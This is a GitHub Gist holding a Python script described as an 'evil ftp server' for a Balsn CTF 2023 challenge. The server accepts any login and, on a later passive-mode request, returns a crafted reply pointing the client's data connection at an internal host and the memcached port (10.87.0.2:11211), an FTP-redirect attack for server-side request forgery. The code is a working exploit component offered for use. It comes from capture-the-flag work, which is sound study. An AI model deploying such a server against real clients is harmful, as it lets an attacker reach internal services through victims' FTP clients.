Created
October 23, 2023 16:29
-
-
Save to016/8b5452808822aa24594284a18f7c82ca to your computer and use it in GitHub Desktop.
A evil ftp server for memes challenge in Balsn CTF 2023
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import os | |
# Define the server address and port | |
HOST = '0.0.0.0' | |
PORT = 2121 | |
DATA_PORT = 61343 # Port for data transfer | |
# Function to handle USER command | |
def handle_user(client_socket): | |
client_socket.send(b'331 Please specify the password.\r\n') | |
return True | |
# Function to handle PASS command | |
def handle_pass(client_socket): | |
client_socket.send(b'230 Login successful.\r\n') | |
return True | |
# Function to handle TYPE command | |
def handle_type(client_socket): | |
client_socket.send(b'200 Type set to: Binary.\r\n') | |
return True | |
# Function to handle SIZE command | |
def handle_size(client_socket): | |
client_socket.send(b'213 18342\r\n') # Assuming the file size is 18342 bytes | |
return True | |
# Function to handle EPSV command | |
def handle_epsv(client_socket, counter): | |
if(counter == 1): | |
client_socket.send(b'229 Entering extended passive mode (|||61343|).\r\n') | |
else: | |
client_socket.send(b'227 Entering Extended Passive Mode (10,87,0,2,0,11211)\r\n') | |
return True | |
# Function to handle RETR command and send the file | |
def handle_retr(client_socket): | |
client_socket.send(b'150 File status okay. About to open data connection.\r\n') | |
# Create a data socket for data transfer | |
data_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
data_socket.bind((HOST, DATA_PORT)) | |
data_socket.listen(1) | |
# Accept the data connection from the client | |
data_client_socket, data_client_addr = data_socket.accept() | |
# Simulate file transfer by sending a file | |
with open('pepe.png', 'rb') as file: | |
data = file.read(1024) | |
while data: | |
data_client_socket.send(data) | |
data = file.read(1024) | |
data_client_socket.close() | |
data_socket.close() | |
client_socket.send(b'226 Transfer complete.\r\n') | |
return True | |
# Function to handle QUIT command | |
def handle_quit(client_socket): | |
client_socket.send(b'221 Goodbye.\r\n') | |
return False # Return False to close the connection | |
def handle_mkd(client_socket): | |
client_socket.send(b'257 "/pepe" directory created.\r\n') | |
return False # Return False to close the connection | |
def handle_pasv(client_socket): | |
client_socket.send(b'227 Entering Extended Passive Mode (10,87,0,2,0,11211)\r\n') | |
return True | |
def handle_stor(client_socket): | |
client_socket.send(b'150 File status okay. About to open data connection.\r\n') | |
# Create a data socket for data transfer | |
data_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
data_port = 9999 | |
data_socket.bind((HOST, data_port)) | |
data_socket.listen(1) | |
# Accept the data connection from the client | |
data_client_socket, data_client_addr = data_socket.accept() | |
# Receive and save the file data | |
received_data = b'' | |
while True: | |
data = data_client_socket.recv(1024) | |
if not data: | |
break | |
received_data += data | |
# Save the received data to a file (you can specify the file path) | |
with open('received_file.png', 'wb') as file: | |
file.write(received_data) | |
data_client_socket.close() | |
data_socket.close() | |
client_socket.send(b'226 Transfer complete.\r\n') | |
return True | |
# Define the FTP command handler dictionary | |
command_handlers = { | |
'USER': handle_user, | |
'PASS': handle_pass, | |
'TYPE': handle_type, | |
'SIZE': handle_size, | |
'EPSV': handle_epsv, | |
'RETR': handle_retr, | |
'QUIT': handle_quit, | |
'STOR': handle_stor, | |
'MKD': handle_mkd, | |
'PASV': handle_pasv | |
} | |
# Create the FTP server socket | |
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
server_socket.bind((HOST, PORT)) | |
server_socket.listen(1) | |
print(f"FTP server listening on {HOST}:{PORT}") | |
counter = 1 | |
if __name__ == "__main__": | |
while True: | |
client_socket, client_addr = server_socket.accept() | |
print(f"Connected to {client_addr}") | |
client_socket.send(b'220 FTP Server\r\n') # Send server greeting | |
is_authenticated = False # Flag to track user authentication status | |
while True: | |
client_data = client_socket.recv(1024).decode().strip() | |
if not client_data: | |
break | |
print(f"Client sent: {client_data}") | |
if(client_data.startswith("CWD")): | |
argument = client_data.split(' ', 1)[1] | |
client_socket.send(b'250 "' + argument.encode() + b'" is the current directory.\r\n') | |
elif(client_data == "SIZE /pepe"): | |
client_socket.send(b'550 /pepe is not retrievable.\r\n') | |
elif(client_data == "MDTM /pepe"): | |
client_socket.send(b'550 /pepe is not retrievable\r\n') | |
elif client_data.startswith("SIZE /pepe/"): | |
argument = client_data.split(' ', 1)[1] | |
client_socket.send(b'550 ' + argument.encode() + b' is not retrievable.\r\n') | |
else: | |
command_parts = client_data.split(' ', 1) | |
command = command_parts[0] | |
if command in command_handlers: | |
if not is_authenticated and command not in ('USER', 'PASS'): | |
client_socket.send(b'530 Not logged in.\r\n') | |
else: | |
if(command != 'EPSV'): | |
handler_function = command_handlers[command] | |
is_authenticated = handler_function(client_socket) | |
else: | |
print(counter) | |
handler_function = command_handlers[command] | |
is_authenticated = handler_function(client_socket, counter) | |
counter +=1 | |
else: | |
client_socket.send(b'502 Command not implemented.\r\n') | |
client_socket.close() | |
print(f"Connection from {client_addr} closed.") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment